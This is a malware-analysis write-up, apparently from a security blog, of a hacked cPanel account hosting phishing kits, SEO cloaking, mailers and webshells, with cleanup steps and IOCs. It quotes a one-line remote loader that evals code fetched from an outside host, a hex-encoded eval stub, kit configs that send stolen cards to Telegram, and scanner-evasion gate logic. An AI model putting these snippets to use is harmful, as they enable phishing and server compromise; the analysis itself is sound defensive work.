One Hacked cPanel Account: Five Phishing Kits, SEO Spam, Mailers and a Zoo of Webshells
I was handed the full backup of a cPanel account that had been flagged by Google Safe Browsing. The 2026-11-14 00:31:50 Author: lukeleal.com(查看原文) 阅读量:2 收藏

I was handed the full backup of a cPanel account that had been flagged by Google Safe Browsing. The home directory was complete: websites, mail, logs, database dumps, the host’s own quarantine, even .ssh. That is rare, because normally you only get the web root.

The account was running five phishing kits at the same time, all sending stolen data to Telegram bots. It also held SEO spam doorways, bulk mailers, six webshells and an administrator user planted in the WordPress database. Someone also tagged the account with a file called xaryes.txt in 41 places.

I analysed everything statically. Nothing was executed and no C2 was contacted. The client and the account name are left out. Bot tokens and the webshell password are redacted.

The Account#

It is an ordinary shared hosting account with about ten sites on it: three WordPress installs for a small real-estate business, a demo copy, an old backup copy (WordPress 4.9.4), and two or three domains that only ever served phishing.

The two scanner logs give the scale. The cleanup scanner reported these detection classes in the live sites:

DetectionFiles
php.phishing.redirect10
rex.defaced.generic10
js.spam-seo.redirect9
filename.php_on_wp-core_images8
php.phishing.script7
htaccess.phishing.block_bots5
php.phishing.generic, php.mailer.generic, html.phishing.paypal2 each
php.malware.obfuscated / .filesman / .assert1 each

Another 3,789 findings were inside the host’s own quarantine folder (quarantine_1751478240, an epoch for 2025-07-02). That folder holds 29,273 files, 14,689 of them PHP: a whole infected web root that the host moved aside and left in the account.

The Hub: One Index, Five Kits#

The phishing lives under one domain, plus a second parked one. The root index.php is a gate in front of everything else. The header is the seller’s advert:

// 𝓑𝔂 𝓤𝔂𝓼𝓷𝓧
// Telegram For Buy Anyscampage : @xuysnx

So this is a kit that was bought from a scam-page seller and not written by the operator. The gate does four things before it sends anyone to a kit:

  1. DesktopBlock.php loads Mobile_Detect and returns 403 to any non-mobile browser. Victims come from SMS, so desktop visitors are analysts and scanners.
  2. A country allow-list: ES and MA (Spain and Morocco). Every other country is dropped.
  3. An ISP blacklist (Cloudflare, Google, Amazon, Namecheap, OVH, Hetzner, DigitalOcean, Microsoft, Yandex, phishtank and others) and about 85 IP-prefix patterns for Google, other crawlers and security-vendor ranges.
  4. A User-Agent bot list.

If a visitor passes, the page redirects with JavaScript to /Electronica/. Failures get logged to visitors.html, a 130 KB table the operator reads. It survived in the backup and is a good picture of the campaign.

What the visitor log says#

990 requests between 2024-08-31 and 2025-08-12, the day the cleanup began, so the hub was live for a full year:

VerdictRequests
Allowed (reached the kit)337
Country not allowed312
Detected as bot341

Top countries: Spain 304, China 264, United States 218, Morocco 36, Germany 26, South Korea 26. The allowed ISPs were mostly Telefónica de España, Orange Espagne, Digi Spain and Maroc Telecom (34 hits). The Chinese and US traffic is cloud scanners, mostly Tencent ranges, and every one of them was turned away. The Maroc Telecom hits are most likely the operator testing the page.

The gate works the way it is meant to: a scanner that is not a Spanish mobile phone sees a 403. That also explains why the sites were up for a year before Google flagged them.

The Kits#

1. Spain: “Pago de sanciones” (/Electronica/)#

A Correos-branded page for paying a fine. It asks for a card, then shows a fake 3-D Secure page (“Valida esta compra para continuar”) and asks for the SMS code. Stripe checkout CSS and SVGs were copied over to look genuine. The pages are cc.php, vbv.php, sms.php, pin.php, wait.php and info.php.

config.php is the whole control panel, with French comments and a #zerocution tag:

$mail_send = FALSE;
$tlg_send  = true;       // Telegram
$bot_token = "<redacted>";
$rez_chat  = "<redacted>";
$vbv = true;  $timeVBV = "15";

wait.php is a holding page that auto-refreshes after 20 seconds to sms.php, which asks for the code sent by the bank. captured.txt has 919 lines but only visitor IPs (ip : ^68.*.*.*), no card data. Everything else went to the bot.

2. Poland: parcel fee (/pol/)#

An InPost-style tracking page that asks for a small redelivery fee ($fees = "8,99 PLN"), then the card, then an SMS code. It has its own antibot ($antibot = "yes", $block_proxy = "yes"), a blacklisted_ips.txt, a botMother folder and a bots_log.txt. post.php calls the Telegram API.

3. USA: USPS tracking (/ca/)#

An exact copy of the “USPS.com® - USPS Tracking® Results” page, with payment.php, sms1.php, sms2.php, thanks.php and email.php under /support/verification/. The word “USPS” appears about 1,000 times in the folder.

4. Australia: TPG webmail and DHL (/au/)#

A TPG Australia webmail login and a DHL page. A folder with a nonsense name, messaging/revotril2mg/, holds four tiny handlers. Each one builds a Telegram message from $_POST['a'] to ['f'] (name, address, city, zip, state) and tags it with the target country flag and @zmagri. This part comes from a different kit author than the gate does.

5. PayPal and friends (/g/, /en/, /ae/, /ch/)#

PayPal login with a 2FA page (“Log in to your PayPal account”), a Swiss DPD page (/ch/confirma/), and plain SMS pages for the UAE. The shell history of the cleanup shows a file listing with GreenBullet - PayPal.zip, which is the name of a known PayPal phishing archive sold on Telegram.

All five kits ship the same pieces: Mobile_Detect, a geo/ISP gate, a Telegram bot and a OTP step. Three distinct bot tokens are hard-coded in the PHP.

Spread across the other sites#

Short redirect stubs were also written into index.php of five other web roots (us, ca, pl, ae, es folders inside the real-estate site, detections php.phishing.redirect.011) so the legitimate domain would forward chosen visitors to the hub. The .htaccess for the hub is 1,351 lines: the host’s bot-block header, 222 SetEnvIfNoCase User-Agent lines for crawlers and about 1,060 deny from lines that ban scanner, cloud and Tor-exit addresses by IP.

Bulk mailers#

Mailers in the quarantine and live files send the SMS and email lures:

  • PLALA-AUTO/config1.php and config2.php: a credential catcher for PLALA, a Japanese ISP. It stores the victim’s account and password, looks up the visitor with ipinfo.io and keeps a log.
  • t6wer-send.php and testsend.php: mail-delivery testers for reselling the hacked account. The first prints T6werShop and sends a test mail for an orderid. The second sends “This cpanel with id - N is delivering, you can buy it now” and then deletes itself (unlink(__FILE__)). The seller_*.txt files in the quarantined web root fit the same pattern. In other words, the account itself was being sold as a mail-sending cPanel.
  • A dot-file called .010474771045116.php, obfuscated with goto spaghetti. It runs mail() when called with ?to=, with the subject “Sending fine 4467955” and answers ##SENT## or ##NOTSENT##. This is the sender behind the “fine” lure in the Spanish kit. Both the page and the mail are hosted here.

SEO spam doorways#

  • public_html/images/*.html has nine pages named like gucci-outlet-dallas-texas-3595126.html that redirect visitors from search engines.
  • example/*.html has pages named after exam-dump codes (312-50, ec0-349, certified-ethical-hacker) flagged as defaced.
  • groupon.php (10 KB) is a hex-encoded cloaking agent. The file is just this:
$hex='3c3f7068702024696e7465725f646f6d61696e...';
$bin=hex2bin($hex);
eval('?>'.$bin);

The decoded script (5 KB) sets $inter_domain='http://204.12.197[.]170/z50703_6/', checks whether the visitor is a crawler (googlebot|google|yahoo|bing|aol) or arrives from google.co.jp|yahoo.co.jp|google.com, and posts the request to that server to get spam pages or a redirect. Japanese search referrers are the target, which matches the Japanese PLALA kit.

The Webshells#

There were six different ones, from different operators. A site that has been taken once has usually been taken by several people.

FileWhat it is
admin.php (278 B)Remote loader: eval('?>'.get('https://i30[.]bz/f/w.txt')) with cURL. Whatever that URL serves runs.
0x1949G1P6YA.php (4 KB)Unauthenticated file manager: edit, delete, download, upload by POST.
wp-class.php (18 KB)Login-protected file manager. Hard-coded username oleg and a weak password (redacted), session language defaults to Turkish ('tr'). A copy also sat in the host quarantine.
admin.php in the home directory (4 KB)A second file manager with uploads and getcwd() browsing.
mhpsdj.php, cache.php (quarantine)An upload form into uploads/ and a copy of a small PHP file manager (show_hidden, calc_folder config).
uploads/.../721028/index.phpA file manager with a PHP code console ($_POST['phpCode'] evaluated) and Russian comments, dropped in wp-content/uploads.
index/en/lib/260885/index.phpAnother file-manager match (php.malware.filesman).

Names like index/en/lib/260885 and .well-known/acme-challenge/383195 also show in the scanner’s list of directories with random 6-digit names. These are the staging folders where shells were dropped.

adminer.php (500 KB) was also in the home directory. It is the real Adminer, a legitimate database tool, but it was left in a place where it is a ready-made database client for anyone who has the credentials in wp-config.php.

A marker on 41 directories#

xaryes.txt contains the string Telegram : @xaryes and was written to 41 directories, including .ssh, logs, tmp, quarantine and the web roots. The home directory itself was writable, so the actor had account-level access, not only a vulnerable plugin. This is a signature that is easy to hunt for. A second marker family, 685cf8922faec.txt-style hex file names and seller_P932.txt-style files, also sat in the quarantined web root.

The Database#

One WordPress database dump (25 MB) has two users:

(1,'broker','$P$B…','broker','…@…','','2019-04-14 08:49:47',…,'Sidney')
(2,'admin999','$P$B…','firstname lastname','[email protected]','','0000-00-00 00:00:00',…)

admin999 was created by hand with SQL: a zero registration date, a placeholder email and a placeholder name. WordPress itself would never write those values.

Its usermeta is more interesting. The real administrator has wpcg_capabilities, which matches the table prefix wpcg_. admin999 has:

wp_capabilities  a:1:{s:13:"administrator";s:1:"1";}
wp_user_level    10

The keys use the default wp_ prefix, not the site’s wpcg_ one. On this database those keys would not give the user any role. Either the script that planted it did not read the table prefix, or the tables were renamed afterwards. There is also a last_login of 2021-03-27, so someone did use it, and the account is far older than the 2025 cleanup. The 3,486 published posts by author 0 look scary, but they are Enquiry# 2607-style contact-form entries from a CRM plugin. Not spam. The only spam in the dump is comment spam (cialis, essay-writing).

How They Got In#

I can’t prove an entry point. The backup has no access logs (access-logs is a symlink to a path outside the account) and the main plugin files of several plugins were already removed by the cleanup. What it does show:

  • The account had at least four WordPress copies, two of them very old (WordPress 4.9.4 in landfarmhomebackup, 5.0.18 in demo.*) with Revolution Slider, WPBakery, Loginizer and Filester (a file manager plugin) installed. These are classic exploit paths for file upload and RCE.
  • The live site had wp-file-manager and weforms folders left. Both plugins have well-known unauthenticated exploit histories, so they are the first things to check on a similar case.
  • .lastlogin shows 14 logins to the account in July and August 2025. Six are from Moroccan ISPs (41.140, 41.142, 160.177, 196.89 ranges) between 13 and 25 July, which is a different pattern from the owner’s addresses. That is consistent with the operator using the cPanel login or SSH, but IPs alone do not prove it.
  • .ssh/authorized_keys had two keys: one with no comment and one belonging to the person doing the cleanup. An unexplained key in authorized_keys is persistence and has to be checked against the owner.

The phishing hub dates back to August 2024 (the first row in the visitor log). The Spanish kit’s captured.txt starts in 2024 as well. The Gucci doorways and exam-dump pages in the quarantine are older, undated spam from an earlier infection.

Detection & Cleanup#

Order matters. Credentials first, files second.

  1. Treat the cPanel login, SSH keys, FTP, database and WordPress admin passwords as stolen. Reset them all and invalidate sessions. Replace wp-config.php secrets (keys and salts).
  2. Remove every unknown line from ~/.ssh/authorized_keys, then check cron (crontab -l), ~/.cpanel, forwarders and email filters.
  3. Delete the rogue WordPress user directly in the database and look for others with registered = 0000-00-00 or an example.com email:
    SELECT ID,user_login,user_email,user_registered FROM wpcg_users
    WHERE user_registered='0000-00-00 00:00:00' OR user_email LIKE '%@example.com';
    
    Also look for usermeta rows whose key prefix does not match the table prefix.
  4. Delete the whole phishing hub and any domain that only existed for it. A clean-up that only removes the PHP leaves .htaccess rules and the random-numbered subfolders behind.
  5. Update or remove every plugin and theme, and delete old WordPress copies (demo, *backup). An unmaintained copy on the same account is a way back in.
  6. Remove adminer.php, *-cleanup.php scanners and anything else that is a general-purpose tool from the web root when you are done.

Quick hunting commands that matched this case:

# marker file
find ~ -name 'xaryes.txt' 2>/dev/null
# PHP in places it should not be
find wp-content/uploads wp-includes/images wp-admin/images -name '*.php' -o -name '.htaccess'
# hex/eval loaders
grep -rlE "eval\(['\"]\?>['\"]\.\s*(\$\w+|get\()|hex2bin\(\$hex\)" --include=*.php .
# phishing kit fingerprints
grep -rlE "api\.telegram\.org/bot|Mobile_Detect|\\\$bot_token|\\\$tlg_send" --include=*.php .
# long random-number directories left by the dropper
find . -type d -regex '.*/[0-9]\{6\}$'

Hardening that would have blocked most of this: no PHP execution in wp-content/uploads (php_flag engine off or a deny rule), open_basedir, disabling allow_url_fopen for sites that do not need it (the admin.php loader and the cloaking agent both fetch code with cURL, so also restrict outbound connections where the host allows it), and keeping one maintained WordPress per account.

Don’t read today’s DNS as the operator’s setup. Several of the domains here are cheap and recycled. Look at the file contents and the dates.

IOCs#

Defanged.

TypeValue
Kit seller tag@xuysnx, t[.]me/xuysnx0 (“By UysnX”)
Marker filexaryes.txt containing Telegram : @xaryes (41 copies)
Kit tag in Australian handlers@zmagri
Remote loaderhxxps://i30[.]bz/f/w[.]txt
SEO cloaking serverhxxp://204[.]12[.]197[.]170/z50703_6/
Telegram3 hard-coded bot tokens (redacted), api.telegram.org/bot
Shell names0x1949G1P6YA.php, wp-class.php, groupon.php, admin.php, adminer.php, t6wer-send.php, testsend.php, mhpsdj.php, .010474771045116.php
Kit folders/Electronica/, /pol/, /ca/support/verification/, /au/messaging/revotril2mg/, /ch/confirma/, /g/, /00win/PLALA-AUTO/
Gate fileDesktopBlock.php (loads libs/Mobile_Detect.php, 403 for non-mobile)
Log filesvisitors.html, captured.txt, bots_log.txt, blacklisted_ips.txt
Lure subjectSending fine 4467955
Rogue useradmin999, [email protected], registered 0000-00-00 00:00:00
Host quarantinequarantine_1751478240 (2025-07-02)
Scanner IDsphp.phishing.redirect.011, php.phishing.script.002, htaccess.phishing.block_bots.003/.005, php.malware.filesman.036, php.malware.obfuscated.028, php.mailer.generic.033, html.phishing.paypal.020, filename.php_on_wp-core_images.002

文章来源: https://lukeleal.com/research/posts/hacked-cpanel-five-phishing-kits-and-a-shell-zoo/
如有侵权请联系:admin#unsafe.sh